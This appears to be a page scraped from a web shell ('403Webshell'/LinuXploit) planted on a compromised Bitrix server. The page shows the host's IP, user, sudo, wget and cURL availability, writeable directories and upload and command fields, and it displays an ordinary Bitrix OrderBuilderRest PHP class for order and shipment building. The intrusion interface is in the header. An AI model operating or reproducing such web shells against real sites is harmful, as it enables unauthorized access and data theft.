403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/helpers/order/builder/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/helpers/order/builder/orderbuilderrest.php
<?php


namespace Bitrix\Sale\Helpers\Order\Builder;


use Bitrix\Sale\BasketItem;
use Bitrix\Sale\BasketItemCollection;
use Bitrix\Sale\Cashbox\Errors\Error;
use Bitrix\Sale\Delivery\Services\EmptyDeliveryService;
use Bitrix\Sale\Internals\Input\File;
use Bitrix\Sale;
use Bitrix\Sale\PaySystem\Manager;
use Bitrix\Sale\EntityPropertyValue;
use Bitrix\Sale\Result;
use Bitrix\Sale\Shipment;
use Bitrix\Sale\ShipmentItem;
use Bitrix\Sale\ShipmentItemCollection;

/**
 * Class OrderBuilderRestSale
 * @package Bitrix\Sale\Helpers\Order\Builder
 * @internal
 */
class OrderBuilderRest extends OrderBuilder
{
	public function __construct(SettingsContainer $settings)
	{
		parent::__construct($settings);
		$this->setBasketBuilder(new BasketBuilderRest($this));
	}

	protected function prepareFields(array $fields)
	{
		$fields = array_merge(
			\Bitrix\Sale\Controller\Order::prepareFields($fields),
			\Bitrix\Sale\Controller\PropertyValue::prepareFields($fields['ORDER']),
			\Bitrix\Sale\Controller\BasketItem::prepareFields($fields['ORDER']),
			\Bitrix\Sale\Controller\Payment::prepareFields($fields['ORDER']),
			\Bitrix\Sale\Controller\Shipment::prepareFields($fields['ORDER']),
			\Bitrix\Sale\Controller\TradeBinding::prepareFields($fields['ORDER'])
		);

		return parent::prepareFields($fields);
	}

	protected function createEmptyPayment()
	{
		if($this->getSettingsContainer()->getItemValue('createDefaultPaymentIfNeed'))
		{
			$this->formData["PAYMENT"] = [
				[
					'SUM'=>$this->getOrder()->getPrice(),
					'PAID'=>'N',
					'PAY_SYSTEM_ID'=>Manager::getInnerPaySystemId()
				]
			];

			parent::buildPayments();
		}
		return $this;
	}

	protected function createEmptyShipment()
	{
		if($this->getSettingsContainer()->getItemValue('createDefaultShipmentIfNeed'))
		{
			$this->formData["SHIPMENT"] = [
				[
					'DEDUCTED'=>'N',
					'DELIVERY_ID'=>EmptyDeliveryService::getEmptyDeliveryServiceId()
				]
			];
			parent::buildShipments();
		}
		return $this;
	}

	protected function prepareFieldsStatusId($isNew, $item, $defaultFields)
	{
		$statusId = '';
		if($isNew)
		{
			if (isset($item['STATUS_ID']))
			{
				$statusId = $item['STATUS_ID'];
			}
		}
		else
		{
			$statusId = parent::prepareFieldsStatusId($isNew, $item, $defaultFields);
		}

		return $statusId;
	}

	protected function removeShipmentItems(\Bitrix\Sale\Shipment $shipment, $products, $idsFromForm)
	{
		$result = new Result();

		if(is_array($products))// если передан products, то считаем, что табличная счасть для отгрузки передана
		{
			if($this->getSettingsContainer()->getItemValue('deleteShipmentItemIfNotExists'))
			{
				$shipmentItemCollection = $shipment->getShipmentItemCollection();

				$shipmentItemIds = [];
				foreach($products as $items)
				{
					if(!isset($items['ORDER_DELIVERY_BASKET_ID']))
						continue;

					$shipmentItemProduct = $shipmentItemCollection->getItemById($items['ORDER_DELIVERY_BASKET_ID']);

					if ($shipmentItemProduct == null)
						continue;

					$shipmentItemIds[] = $shipmentItemProduct->getId();
				}

				/** @var ShipmentItem $shipmentItem */
				foreach ($shipmentItemCollection as $shipmentItem)
				{
					if(!in_array($shipmentItem->getId(), $shipmentItemIds))
					{
						$r = $shipmentItem->delete();
						if (!$r->isSuccess())
						{
							$this->errorsContainer->addErrors($r->getErrors());
							$result->addErrors($r->getErrors());
						}
					}
				}
			}
		}
		return $result;
	}

	protected function prepareDataForSetFields(\Bitrix\Sale\Shipment $shipment, $items)
	{
		$result = new Result();
		$shipmentItemCollection = $shipment->getShipmentItemCollection();

		//only for update shipmentItem, where BASKET_ID is imutable
		if(isset($items['ORDER_DELIVERY_BASKET_ID']) && intval($items['ORDER_DELIVERY_BASKET_ID']) > 0)
		{
			if (!$shipmentItem = $shipmentItemCollection->getItemById($items['ORDER_DELIVERY_BASKET_ID']))
			{
				$result->addError( new Error( 'SALE_ORDER_SHIPMENT_BASKET_ORDER_DELIVERY_ID_NOT_FOUND'));
			}
			else
			{
				/** @var ShipmentItem $shipmentItem */
				$items['BASKET_ID'] = $shipmentItem->getBasketId();
			}
		}
		return $result->setData([$items]);
	}

	protected function modifyQuantityShipmentItem(ShipmentItem $shipmentItem, array $params)
	{
		$r = new Result();

		$basketItem = $shipmentItem->getBasketItem();
		/** @var BasketItemCollection $basket */
		$basket = $basketItem->getCollection();
		/** @var Sale\Order $order */
		$order = $basket->getOrder();

		$allAllowedQuantity = $this->getQuantityBasketItemFromShipmentCollection($basketItem);

		$deltaQuantity = $params['AMOUNT'] - $shipmentItem->getQuantity();

		if($deltaQuantity < 0)
		{
			$this->setQuantityShipmentItem($shipmentItem, 0, abs($deltaQuantity));
		}
		elseif($deltaQuantity > 0)
		{
			if($allAllowedQuantity >= $params['AMOUNT'])
			{
				$systemShipment = $order->getShipmentCollection()->getSystemShipment();
				$systemBasketQuantity = $systemShipment->getBasketItemQuantity($basketItem);

				if($systemBasketQuantity >= $deltaQuantity)
				{
					$this->setQuantityShipmentItem($shipmentItem, $params['AMOUNT'], $shipmentItem->getQuantity());
				}
				else
				{
					$needQuantity = $deltaQuantity - $systemBasketQuantity;

					$r = $this->synchronizeQuantityShipmentItems($shipmentItem, $needQuantity);
					if($r->isSuccess())
					{
						$this->setQuantityShipmentItem($shipmentItem, $params['AMOUNT'], $shipmentItem->getQuantity());
					}
				}
			}
			else
			{
				$r->addError(new \Bitrix\Main\Error('Attempt to increase the quantity of goods in shipment to a quantity that exceeds not shipped in the order.'));
			}
		}
		return $r;
	}

	private function getQuantityBasketItemFromShipmentCollection(BasketItem $basketItem)
	{
		/** @var BasketItemCollection $basket */
		$basket = $basketItem->getCollection();
		/** @var Sale\Order $order */
		$order = $basket->getOrder();

		$allQuantity = 0;
		/** @var Shipment $shipment */
		foreach ($order->getShipmentCollection() as $shipment)
		{
			if($shipment->isShipped())
				continue;

			$allQuantity += $shipment->getBasketItemQuantity($basketItem);
		}

		return $allQuantity;
	}

	protected function setQuantityShipmentItem(ShipmentItem $shipmentItem, $value, $oldValue)
	{
		$deltaQuantity = $value - $oldValue;

		if($shipmentItem->getQuantity() + $deltaQuantity == 0)
		{
			$r = $shipmentItem->delete();
		}
		else
		{
			$r = $shipmentItem->setField(
				"QUANTITY",
				$shipmentItem->getQuantity() + $deltaQuantity
			);
		}

		return $r;
	}

	public function synchronizeQuantityShipmentItems(ShipmentItem $shipmentItem, $needQuantity)
	{
		$result = new Result();

		if(intval($needQuantity) <= 0)
		{
			return $result;
		}

		$basketItem = $shipmentItem->getBasketItem();
		/** @var ShipmentItemCollection $shipmentItemCollection */
		$shipmentItemCollection = $shipmentItem->getCollection();
		$parentEntity = $shipmentItemCollection->getShipment();

		foreach ($parentEntity->getCollection() as $shipment)
		{
			/** @var Shipment $shipment */
			if($parentEntity->getId() == $shipment->getId())
				continue;

			if($shipment->isShipped() || $shipment->isSystem())
				continue;

			$basketQuantity = $shipment->getBasketItemQuantity($basketItem);
			if(empty($basketQuantity))
				continue;

			$shipmentItem = $shipment->getShipmentItemCollection()->getItemByBasketCode($basketItem->getBasketCode());

			if($basketQuantity >= $needQuantity)
			{
				$this->setQuantityShipmentItem($shipmentItem, 0, $needQuantity);
				$needQuantity = 0;
			}
			else
			{
				$this->setQuantityShipmentItem($shipmentItem, 0, $basketQuantity);
				$needQuantity -= $basketQuantity;
			}

			if($needQuantity == 0)
				break;
		}

		if($needQuantity != 0)
			$result->addError(new Error('Not enough unallocated goods in shipments'));

		return $result;
	}

	public function setProperties()
	{
		if(!isset($this->formData["PROPERTIES"]))
		{
			return $this;
		}

		$r = $this->removePropertyValues();
		if($r->isSuccess() == false)
		{
			$this->getErrorsContainer()->addErrors($r->getErrors());
			return $this;
		}

		$this->formData["PROPERTIES"] = File::getPostWithFiles(
			$this->formData["PROPERTIES"],
			$this->settingsContainer->getItemValue('propsFiles')
		);

		$propCollection = $this->order->getPropertyCollection();

		foreach ($this->formData["PROPERTIES"] as $id=>$value)
		{
			if(($propertyValue = $propCollection->getItemByOrderPropertyId($id)))
			{
				$propertyValue->setValue($value);
			}
		}

		return $this;
	}

	public function setDiscounts()
	{
		return $this;
	}

	protected function removePropertyValues()
	{
		$result = new Result();

		if($this->getSettingsContainer()->getItemValue('deletePropertyValuesIfNotExists'))
		{
			$propCollection = $this->order->getPropertyCollection();
			/** @var EntityPropertyValue $propertyValue */
			foreach($propCollection as $propertyValue)
			{
				if(is_set($this->formData["PROPERTIES"],$propertyValue->getPropertyId()) == false)
				{
					$r = $propertyValue->delete();
					if (!$r->isSuccess())
					{
						$result->addErrors($r->getErrors());
					}
				}
			}
		}

		return $result;
	}

	protected function getSettableOrderFields()
	{
		/** @var Sale\Order $orderClass */
		$orderClass = $this->getRegistry()->getOrderClassName();

		return $orderClass::getAvailableFields();
	}

	protected function checkDeliveryRestricted($shipment, $deliveryService, $shipmentFields)
	{
		// для rest нет проверки на ограничения. всё что приходит от ключениа считаем корреткным
		return true;
	}

	public function buildEntityShipments(array $fields)
	{
		try{
			$this->initFields($fields)
				->delegate()
				->createOrder()
				->setDiscounts()
				->buildShipments()
				->setDiscounts()
				->finalActions();
		}
		catch(BuildingException $e)
		{
			return null;
		}

		return $this->getOrder();
	}

	public function buildEntityPayments(array $fields)
	{
		try{
			$this->initFields($fields)
				->delegate()
				->createOrder()
				->setDiscounts()
				->buildPayments()
				->setDiscounts()
				->finalActions();
		}
		catch(BuildingException $e)
		{
			return null;
		}

		return $this->getOrder();
	}

	public function buildEntityBasket(array $fields)
	{
		try{
			$this->initFields($fields)
				->delegate()
				->createOrder()
				->setDiscounts() //?
				->buildBasket()
				->setDiscounts() //?
				->finalActions();
		}
		catch(BuildingException $e)
		{
			return null;
		}

		return $this->getOrder();
	}

	public function buildEntityOrder(array $fields)
	{
		try{
			$this->initFields($fields)
				->delegate()
				->createOrder()
				->setDiscounts() //?
				->setFields()
				->setUser()
				->finalActions();
		}
		catch(BuildingException $e)
		{
			return null;
		}

		return $this->getOrder();
	}

	public function buildEntityProperties(array $fields)
	{
		try{
			$this->initFields($fields)
				->delegate()
				->createOrder()
				->setDiscounts() //?
				->setProperties()
				->setDiscounts() //?
				->finalActions();
		}
		catch(BuildingException $e)
		{
			return null;
		}

		return $this->getOrder();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit